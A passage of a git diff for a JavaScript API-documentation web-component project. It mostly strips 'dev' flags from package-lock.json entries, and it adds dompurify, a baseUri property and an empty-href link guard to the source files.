"sha1-yuO4MPyhJLf5fSMEbk+qMR7Dgow=" }, "pouchdb-collections": { "version": "6.4.3", "resolved": "https://registry.npmjs.org/pouchdb-collections/-/pouchdb-collections-6.4.3.tgz", - "integrity": "sha512-uWb9+hvjiijeyrCeEz/FUND1oj0AQK/f166egBOTofNlAwQLNrJUTn+uJ34b3NODAmKhg7+ZeDVvnl9D2pijuQ==", - "dev": true + "integrity": "sha512-uWb9+hvjiijeyrCeEz/FUND1oj0AQK/f166egBOTofNlAwQLNrJUTn+uJ34b3NODAmKhg7+ZeDVvnl9D2pijuQ==" }, "pouchdb-errors": { "version": "6.4.3", "resolved": "https://registry.npmjs.org/pouchdb-errors/-/pouchdb-errors-6.4.3.tgz", "integrity": "sha512-EU83ZZJjorwGL9DQZ9HAILY8D+ulX2RYVMtsCfIuzaIJEUrHh/dhSIy5854n42NBOUWug3gFDyO58w5k+64HTQ==", - "dev": true, "requires": { "inherits": "2.0.3" }, @@ -8961,22 +8803,19 @@ "inherits": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", - "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", - "dev": true + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" } } }, "pouchdb-extend": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/pouchdb-extend/-/pouchdb-extend-0.1.2.tgz", - "integrity": "sha1-0c5RG/cE7S4p979CikFqz/+hJLg=", - "dev": true + "integrity": "sha1-0c5RG/cE7S4p979CikFqz/+hJLg=" }, "pouchdb-mapreduce-utils": { "version": "6.4.3", "resolved": "https://registry.npmjs.org/pouchdb-mapreduce-utils/-/pouchdb-mapreduce-utils-6.4.3.tgz", "integrity": "sha512-gbxX6h+nOKPDv2eYZznUthHiZ1Ml1xViE8DalEy6+fPzCba6CZ6dTKGZoFrBg4oLF3Wc+cUNX9Uk8cezVMGOhA==", - "dev": true, "requires": { "argsarray": "0.0.1", "inherits": "2.0.3", @@ -8987,8 +8826,7 @@ "inherits": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", - "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", - "dev": true + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" } } }, @@ -8996,7 +8834,6 @@ "version": "6.4.3", "resolved": "https://registry.npmjs.org/pouchdb-md5/-/pouchdb-md5-6.4.3.tgz", "integrity": "sha512-EnToEO+JLJA5bHDYWs42B8hU9Q1TckVozQjTSXL/pDXKXLATuVEKHNq8F/4lrpxblpngx4Zt8z2Luwu0etLSqw==", - "dev": true, "requires": { "pouchdb-binary-utils": "6.4.3", "spark-md5": "3.0.0" @@ -9005,8 +8842,7 @@ "spark-md5": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.0.tgz", - "integrity": "sha1-NyIifFTi+vJLHcbZM8wUTm9xv+8=", - "dev": true + "integrity": "sha1-NyIifFTi+vJLHcbZM8wUTm9xv+8=" } } }, @@ -9014,7 +8850,6 @@ "version": "5.4.4", "resolved": "https://registry.npmjs.org/pouchdb-promise/-/pouchdb-promise-5.4.4.tgz", "integrity": "sha1-3SigRxl+Ent+33m5yje7xC8EZmU=", - "dev": true, "requires": { "lie": "3.0.4" }, @@ -9023,7 +8858,6 @@ "version": "3.0.4", "resolved": "https://registry.npmjs.org/lie/-/lie-3.0.4.tgz", "integrity": "sha1-vHrh6+fxyN45r9zU94kHa0ew9jQ=", - "dev": true, "requires": { "es3ify": "^0.2.2", "immediate": "~3.0.5", @@ -9037,7 +8871,6 @@ "version": "6.4.3", "resolved": "https://registry.npmjs.org/pouchdb-utils/-/pouchdb-utils-6.4.3.tgz", "integrity": "sha512-22QXh743YXl/afheeumrUKsO/0Q4Q8bvoboFp/1quXq//BDJa9nv55WUZX0l05t3VPW+nD/pse2FzU9cs3nEag==", - "dev": true, "requires": { "argsarray": "0.0.1", "clone-buffer": "1.0.0", @@ -9052,14 +8885,12 @@ "inherits": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", - "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", - "dev": true + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" }, "pouchdb-promise": { "version": "6.4.3", "resolved": "https://registry.npmjs.org/pouchdb-promise/-/pouchdb-promise-6.4.3.tgz", "integrity": "sha512-ruJaSFXwzsxRHQfwNHjQfsj58LBOY1RzGzde4PM5CWINZwFjCQAhZwfMrch2o/0oZT6d+Xtt0HTWhq35p3b0qw==", - "dev": true, "requires": { "lie": "3.1.1" } @@ -9067,8 +8898,7 @@ "uuid": { "version": "3.2.1", "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.2.1.tgz", - "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA==", - "dev": true + "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA==" } } }, @@ -9086,8 +8916,7 @@ "private": { "version": "0.1.8", "resolved": "https://registry.npmjs.org/private/-/private-0.1.8.tgz", - "integrity": "sha512-VvivMrbvd2nKkiG38qjULzlc+4Vx4wm/whI9pQD35YrARNnhxeiRktSOhSukRLFNlzg6Br/cJPet5J/u19r/mg==", - "dev": true + "integrity": "sha512-VvivMrbvd2nKkiG38qjULzlc+4Vx4wm/whI9pQD35YrARNnhxeiRktSOhSukRLFNlzg6Br/cJPet5J/u19r/mg==" }, "process-nextick-args": { "version": "2.0.1", @@ -9122,7 +8951,6 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/property-is-enumerable-x/-/property-is-enumerable-x-1.1.0.tgz", "integrity": "sha512-22cKy3w3OpRswU6to9iKWDDlg+F9vF2REcwGlGW23jyLjHb1U/jJEWA44sWupOnkhGfDgotU6Lw+N2oyhNi+5A==", - "dev": true, "requires": { "to-object-x": "^1.4.1", "to-property-key-x": "^2.0.1" @@ -9137,14 +8965,12 @@ "prr": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", - "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=", - "dev": true + "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=" }, "psl": { "version": "1.8.0", "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", - "integrity": "sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==", - "dev": true + "integrity": "sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==" }, "pump": { "version": "3.0.0", @@ -9159,8 +8985,7 @@ "punycode": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", - "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", - "dev": true + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==" }, "puppeteer-core": { "version": "10.4.0", @@ -9223,8 +9048,7 @@ "q": { "version": "1.5.1", "resolved": "https://registry.npmjs.org/q/-/q-1.5.1.tgz", - "integrity": "sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc=", - "dev": true + "integrity": "sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc=" }, "qs": { "version": "6.10.1", @@ -9529,7 +9353,6 @@ "version": "3.6.0", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, "requires": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -9564,7 +9387,6 @@ "version": "0.11.23", "resolved": "https://registry.npmjs.org/recast/-/recast-0.11.23.tgz", "integrity": "sha1-RR/TAEqx5N+bTktmN2sqIZEkYtM=", - "dev": true, "requires": { "ast-types": "0.9.6", "esprima": "~3.1.0", @@ -9575,14 +9397,12 @@ "esprima": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/esprima/-/esprima-3.1.3.tgz", - "integrity": "sha1-/cpRzuYTOJXjyI1TXOSdv/YqRjM=", - "dev": true + "integrity": "sha1-/cpRzuYTOJXjyI1TXOSdv/YqRjM=" }, "source-map": { "version": "0.5.7", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", - "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", - "dev": true + "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=" } } }, @@ -9624,7 +9444,6 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/replace-comments-x/-/replace-comments-x-2.0.0.tgz", "integrity": "sha512-+vMP4jqU+8HboLWms6YMNEiaZG5hh1oR6ENCnGYDF/UQ7aYiJUK/8tcl3+KZAHRCKKa3gqzrfiarlUBHQSgRlg==", - "dev": true, "requires": { "require-coercible-to-string-x": "^1.0.0", "to-string-x": "^1.4.2" @@ -9634,7 +9453,6 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/require-coercible-to-string-x/-/require-coercible-to-string-x-1.0.2.tgz", "integrity": "sha512-GZ3BSCL0n/zhho8ITganW9FGPh0Kxhq71nCjck8Qau/30Wf4Po8a3XpQdzEMFiXCwZ/0m0E3lKSdSG8gkcIofQ==", - "dev": true, "requires": { "require-object-coercible-x": "^1.4.3", "to-string-x": "^1.4.5" @@ -9662,7 +9480,6 @@ "version": "1.4.3", "resolved": "https://registry.npmjs.org/require-object-coercible-x/-/require-object-coercible-x-1.4.3.tgz", "integrity": "sha512-5wEaS+NIiU5HLJQTqBQ+6XHtX7yplUS374j/H/nRDlc7rMWfENqp026jnUHWAOCZ+ekixkXuFHEnTF28oqqVLA==", - "dev": true, "requires": { "is-nil-x": "^1.4.2" } @@ -9817,8 +9634,7 @@ "safe-buffer": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "dev": true + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" }, "safe-stable-stringify": { "version": "1.1.1", @@ -9829,8 +9645,7 @@ "safer-buffer": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", - "dev": true + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" }, "sax": { "version": "1.2.4", @@ -9851,8 +9666,7 @@ "scope-eval": { "version": "0.0.3", "resolved": "https://registry.npmjs.org/scope-eval/-/scope-eval-0.0.3.tgz", - "integrity": "sha1-Fm8szR83VEKd7FEYBVAfnWkjtew=", - "dev": true + "integrity": "sha1-Fm8szR83VEKd7FEYBVAfnWkjtew=" }, "semver": { "version": "7.3.5", @@ -9971,7 +9785,6 @@ "version": "0.4.4", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.4.4.tgz", "integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=", - "dev": true, "requires": { "amdefine": ">=0.0.4" } @@ -10239,7 +10052,6 @@ "version": "1.3.0", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "dev": true, "requires": { "safe-buffer": "~5.2.0" } @@ -10414,14 +10226,12 @@ "through": { "version": "2.3.8", "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", - "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=", - "dev": true + "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=" }, "through2": { "version": "0.6.5", "resolved": "https://registry.npmjs.org/through2/-/through2-0.6.5.tgz", "integrity": "sha1-QaucZ7KdVyCQcUEOHXp6lozTrUg=", - "dev": true, "requires": { "readable-stream": ">=1.0.33-1 <1.1.0-0", "xtend": ">=4.0.0 <4.1.0-0" @@ -10430,14 +10240,12 @@ "isarray": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", - "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", - "dev": true + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=" }, "readable-stream": { "version": "1.0.34", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz", "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", - "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.1", @@ -10448,22 +10256,19 @@ "string_decoder": { "version": "0.10.31", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", - "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=", - "dev": true + "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=" } } }, "to-boolean-x": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/to-boolean-x/-/to-boolean-x-1.0.3.tgz", - "integrity": "sha512-kQiMyJUgFprL8J+0CfgJuaSFKJMs3EvFe27/6aj/hVzVZT0HY4aA1QjPldLNxzBmjhLcapp7CctYHuD8QqtS3g==", - "dev": true + "integrity": "sha512-kQiMyJUgFprL8J+0CfgJuaSFKJMs3EvFe27/6aj/hVzVZT0HY4aA1QjPldLNxzBmjhLcapp7CctYHuD8QqtS3g==" }, "to-integer-x": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/to-integer-x/-/to-integer-x-3.0.0.tgz", "integrity": "sha512-794L2Lpwjtynm7RxahJi2YdbRY75gTxUW27TMuN26UgwPkmJb/+HPhkFEFbz+E4vNoiP0dxq5tq5fkXoXLaK/w==", - "dev": true, "requires": { "is-finite-x": "^3.0.2", "is-nan-x": "^1.0.1", @@ -10475,7 +10280,6 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/to-number-x/-/to-number-x-2.0.0.tgz", "integrity": "sha512-lGOnCoccUoSzjZ/9Uen8TC4+VFaQcFGhTroWTv2tYWxXgyJV1zqAZ8hEIMkez/Eo790fBMOjidTnQ/OJSCvAoQ==", - "dev": true, "requires": { "cached-constructors-x": "^1.0.0", "nan-x": "^1.0.0", @@ -10488,7 +10292,6 @@ "version": "1.5.0", "resolved": "https://registry.npmjs.org/to-object-x/-/to-object-x-1.5.0.tgz", "integrity": "sha512-AKn5GQcdWky+s20vjWkt+Wa6y3dxQH3yQyMBhOfBOPldUwqwhgvlqcIg5H092ntNc+TX8/Cxzs1kMHH19pyCnA==", - "dev": true, "requires": { "cached-constructors-x": "^1.0.0", "require-object-coercible-x": "^1.4.1" @@ -10498,7 +10301,6 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/to-primitive-x/-/to-primitive-x-1.1.0.tgz", "integrity": "sha512-gyMY0gi3wjK3e4MUBKqv9Zl8QGcWguIkaUr2VJmoBEsOpDcpDZSEyljR773eVG4maS48uX7muLkoQoh/BA82OQ==", - "dev": true, "requires": { "has-symbol-support-x": "^1.4.1", "is-date-object": "^1.0.1", @@ -10513,8 +10315,7 @@ "is-primitive": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz", - "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=", - "dev": true + "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=" } } }, @@ -10522,7 +10323,6 @@ "version": "2.0.2", "resolved": "https://registry.npmjs.org/to-property-key-x/-/to-property-key-x-2.0.2.tgz", "integrity": "sha512-YISLpZFYIazNm0P8hLsKEEUEZ3m8U3+eDysJZqTu3+B9tQp+2TrMpaEGT8Agh4fZ5LSoums60/glNEzk5ozqrg==", - "dev": true, "requires": { "has-symbol-support-x": "^1.4.1", "to-primitive-x": "^1.1.0", @@ -10542,7 +10342,6 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/to-string-symbols-supported-x/-/to-string-symbols-supported-x-1.0.2.tgz", "integrity": "sha512-3MRqhIhSNVDsVAk4M6WNcuBZrAQe54W13xrXX6RzxXS+pA4nj6DQ96RegQS5z9BSNyYbFsBsPvMVDIpP+a/5RA==", - "dev": true, "requires": { "cached-constructors-x": "^1.0.2", "has-symbol-support-x": "^1.4.2", @@ -10553,7 +10352,6 @@ "version": "1.4.3", "resolved": "https://registry.npmjs.org/to-string-tag-x/-/to-string-tag-x-1.4.3.tgz", "integrity": "sha512-5+0EZ6dOVt/XArXmkooxPzWxmOR081HM/uXitUow7h11WYg5pPo15uYqDWuqO7ZY+O3Atn/dG26wcJCK+mFevg==", - "dev": true, "requires": { "lodash.isnull": "^3.0.0", "validate.io-undefined": "^1.0.3" @@ -10563,7 +10361,6 @@ "version": "1.4.5", "resolved": "https://registry.npmjs.org/to-string-x/-/to-string-x-1.4.5.tgz", "integrity": "sha512-5xzlZDyDa9BUWNjNzZzHgKQ95PnV7qjvEhbqpFaj1ixaHgfJXOFaa3xdMJ+WLYd4hhaMJaxt8Pt5uKaWXfruXA==", - "dev": true, "requires": { "cached-constructors-x": "^1.0.0", "is-symbol": "^1.0.1" @@ -10579,7 +10376,6 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.0.0.tgz", "integrity": "sha512-tHdtEpQCMrc1YLrMaqXXcj6AxhYi/xgit6mZu1+EDWUn+qhUf8wMQoFIy9NXuq23zAwtcB0t/MjACGR18pcRbg==", - "dev": true, "requires": { "psl": "^1.1.33", "punycode": "^2.1.1", @@ -10589,8 +10385,7 @@ "universalify": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", - "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", - "dev": true + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==" } } }, @@ -10607,7 +10402,6 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/trim-left-x/-/trim-left-x-3.0.0.tgz", "integrity": "sha512-+m6cqkppI+CxQBTwWEZliOHpOBnCArGyMnS1WCLb6IRgukhTkiQu/TNEN5Lj2eM9jk8ewJsc7WxFZfmwNpRXWQ==", - "dev": true, "requires": { "cached-constructors-x": "^1.0.0", "require-coercible-to-string-x": "^1.0.0", @@ -10624,7 +10418,6 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/trim-right-x/-/trim-right-x-3.0.0.tgz", "integrity": "sha512-iIqEsWEbWVodqdixJHi4FoayJkUxhoL4AvSNGp4FF4FfQKRPGizt8++/RnyC9od75y7P/S6EfONoVqP+NddiKA==", - "dev": true, "requires": { "cached-constructors-x": "^1.0.0", "require-coercible-to-string-x": "^1.0.0", @@ -10635,7 +10428,6 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/trim-x/-/trim-x-3.0.0.tgz", "integrity": "sha512-w8s38RAUScQ6t3XqMkS75iz5ZkIYLQpVnv2lp3IuTS36JdlVzC54oe6okOf4Wz3UH4rr3XAb2xR3kR5Xei82fw==", - "dev": true, "requires": { "trim-left-x": "^3.0.0", "trim-right-x": "^3.0.0" @@ -10797,8 +10589,7 @@ "uniq": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/uniq/-/uniq-1.0.1.tgz", - "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=", - "dev": true + "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=" }, "universalify": { "version": "2.0.0", @@ -10816,7 +10607,6 @@ "version": "0.3.0", "resolved": "https://registry.npmjs.org/unreachable-branch-transform/-/unreachable-branch-transform-0.3.0.tgz", "integrity": "sha1-2ZzExudG0mSSiEW2EdtUsPNHTKo=", - "dev": true, "requires": { "esmangle-evaluator": "^1.0.0", "recast": "^0.10.1", @@ -10826,20 +10616,17 @@ "ast-types": { "version": "0.8.15", "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.8.15.tgz", - "integrity": "sha1-ju8IJ/BN/w7IhXupJavj/qYZTlI=", - "dev": true + "integrity": "sha1-ju8IJ/BN/w7IhXupJavj/qYZTlI=" }, "esprima-fb": { "version": "15001.1001.0-dev-harmony-fb", "resolved": "https://registry.npmjs.org/esprima-fb/-/esprima-fb-15001.1001.0-dev-harmony-fb.tgz", - "integrity": "sha1-Q761fsJujPI3092LM+QlM1d/Jlk=", - "dev": true + "integrity": "sha1-Q761fsJujPI3092LM+QlM1d/Jlk=" }, "recast": { "version": "0.10.43", "resolved": "https://registry.npmjs.org/recast/-/recast-0.10.43.tgz", "integrity": "sha1-uV1Q9tYHYaX2JS4V2AZ4FoSRzn8=", - "dev": true, "requires": { "ast-types": "0.8.15", "esprima-fb": "~15001.1001.0-dev-harmony-fb", @@ -10850,8 +10637,7 @@ "source-map": { "version": "0.5.7", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", - "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", - "dev": true + "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=" } } }, @@ -10873,8 +10659,7 @@ "util-deprecate": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", - "dev": true + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" }, "uuid": { "version": "8.3.2", @@ -10920,8 +10705,7 @@ "validate.io-undefined": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/validate.io-undefined/-/validate.io-undefined-1.0.3.tgz", - "integrity": "sha1-fif8uzFbhB54JDQxiXZxkp4gt/Q=", - "dev": true + "integrity": "sha1-fif8uzFbhB54JDQxiXZxkp4gt/Q=" }, "vary": { "version": "1.1.2", @@ -10982,8 +10766,7 @@ "vuvuzela": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/vuvuzela/-/vuvuzela-1.0.3.tgz", - "integrity": "sha1-O+FF5YJxxzylUnndhR8SpoIRSws=", - "dev": true + "integrity": "sha1-O+FF5YJxxzylUnndhR8SpoIRSws=" }, "web-streams-node": { "version": "0.4.0", @@ -11057,8 +10840,7 @@ "white-space-x": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/white-space-x/-/white-space-x-3.0.1.tgz", - "integrity": "sha512-BwMFXQNPna/4RsNPOgldVYn+FkEv+lc3wUiFzuaW6Z2DH/oSk1UrRD6SBqDgWQO4JU+aBq3PVuPD9Vz0j7mh0w==", - "dev": true + "integrity": "sha512-BwMFXQNPna/4RsNPOgldVYn+FkEv+lc3wUiFzuaW6Z2DH/oSk1UrRD6SBqDgWQO4JU+aBq3PVuPD9Vz0j7mh0w==" }, "wide-align": { "version": "1.1.3", @@ -11199,14 +10981,12 @@ "wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", - "dev": true + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" }, "write-stream": { "version": "0.4.3", "resolved": "https://registry.npmjs.org/write-stream/-/write-stream-0.4.3.tgz", "integrity": "sha1-g8yMA0fQr2BXqThitOOuAd5cgcE=", - "dev": true, "requires": { "readable-stream": "~0.0.2" }, @@ -11214,8 +10994,7 @@ "readable-stream": { "version": "0.0.4", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-0.0.4.tgz", - "integrity": "sha1-8y124/uGM0SlSNeZIwBxc2ZbO40=", - "dev": true + "integrity": "sha1-8y124/uGM0SlSNeZIwBxc2ZbO40=" } } }, @@ -11234,8 +11013,7 @@ "xtend": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", - "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", - "dev": true + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==" }, "y18n": { "version": "5.0.8", diff --git a/package.json b/package.json index c232784..7bf8923 100644 --- a/package.json +++ b/package.json @@ -36,11 +36,13 @@ "@anypoint-web-components/anypoint-listbox": "^1.1.7", "@anypoint-web-components/anypoint-radio-button": "^0.1.9", "@anypoint-web-components/anypoint-tabs": "^0.1.19", - "@api-components/amf-helper-mixin": "^4.5.12", + "@api-components/amf-helper-mixin": "^4.5.14", + "@api-components/api-request": "^0.3.0-beta.5", "@api-components/api-schema": "^0.1.4", "@api-components/api-server-selector": "^0.7.1", "@api-components/http-method-label": "^3.1.4", "@open-wc/dedupe-mixin": "^1.3.0", + "dompurify": "^2.3.3", "lit-element": "^2.5.1", "lit-html": "^1.4.1" }, @@ -53,7 +55,6 @@ "@anypoint-web-components/anypoint-styles": "^1.0.2", "@api-components/api-model-generator": "^0.2.14", "@api-components/api-navigation": "^4.3.2", - "@api-components/api-request": "^0.3.0-beta.3", "@commitlint/cli": "^13.2.0", "@commitlint/config-conventional": "^13.2.0", "@open-wc/eslint-config": "^4.3.0", diff --git a/src/elements/ApiDocumentationBase.js b/src/elements/ApiDocumentationBase.js index af9f41e..2300589 100644 --- a/src/elements/ApiDocumentationBase.js +++ b/src/elements/ApiDocumentationBase.js @@ -8,6 +8,7 @@ import { ApiExampleGenerator } from '@api-components/api-schema'; import '@anypoint-web-components/anypoint-button/anypoint-button.js'; import '@anypoint-web-components/anypoint-collapse/anypoint-collapse.js'; import '@advanced-rest-client/arc-icons/arc-icon.js'; +import '@advanced-rest-client/highlight/arc-marked.js'; import '../../api-annotation-document.js'; /** @typedef {import('lit-element').TemplateResult} TemplateResult */ @@ -170,6 +171,11 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { // target.href is always absolute, need attribute value to test for // relative links. const href = node.getAttribute('href'); + if (!href) { + e.preventDefault(); + e.stopPropagation(); + return; + } const ch0 = href[0]; if (['.', '/'].indexOf(ch0) !== -1) { e.preventDefault(); diff --git a/src/elements/ApiDocumentationDocumentElement.js b/src/elements/ApiDocumentationDocumentElement.js index b372137..b503695 100644 --- a/src/elements/ApiDocumentationDocumentElement.js +++ b/src/elements/ApiDocumentationDocumentElement.js @@ -2,7 +2,6 @@ import { html } from 'lit-element'; import { Styles as HttpStyles } from '@api-components/http-method-label'; import { MarkdownStyles } from '@advanced-rest-client/highlight'; -import '@advanced-rest-client/highlight/arc-marked.js'; import elementStyles from './styles/ApiDocumentationDocument.js'; import commonStyles from './styles/Common.js'; import { ApiDocumentationBase, descriptionTemplate, serializerValue } from './ApiDocumentationBase.js'; diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js index 0a90e24..c596bf4 100644 --- a/src/elements/ApiOperationDocumentElement.js +++ b/src/elements/ApiOperationDocumentElement.js @@ -3,6 +3,7 @@ import { html } from 'lit-element'; import { classMap } from 'lit-html/directives/class-map.js'; import { Styles as HttpStyles } from '@api-components/http-method-label'; import { MarkdownStyles } from '@advanced-rest-client/highlight'; +import { UrlLib } from '@api-components/api-request'; import '@advanced-rest-client/highlight/arc-marked.js'; import '@anypoint-web-components/anypoint-tabs/anypoint-tab.js'; import '@anypoint-web-components/anypoint-tabs/anypoint-tabs.js'; @@ -41,6 +42,7 @@ export const serverIdValue = Symbol('serverIdValue'); export const urlValue = Symbol('urlValue'); export const responsesValue = Symbol('responsesValue'); export const computeUrlValue = Symbol('computeUrlValue'); +export const baseUriValue = Symbol('baseUriValue'); export const preselectResponse = Symbol('preselectResponse'); export const titleTemplate = Symbol('titleTemplate'); export const traitsTemplate = Symbol('extendsTemplate'); @@ -128,8 +130,33 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { this.requestUpdate(); } + /** + * @returns {string|undefined} + */ + get baseUri() { + return this[baseUriValue]; + } + + /** + * @param {string} value + */ + set baseUri(value) { + const old = this[baseUriValue]; + if (old === value) { + return; + } + this[baseUriValue] = value; + this[computeUrlValue](); + this.requestUpdate(); + } + static get properties() { return { + /** + 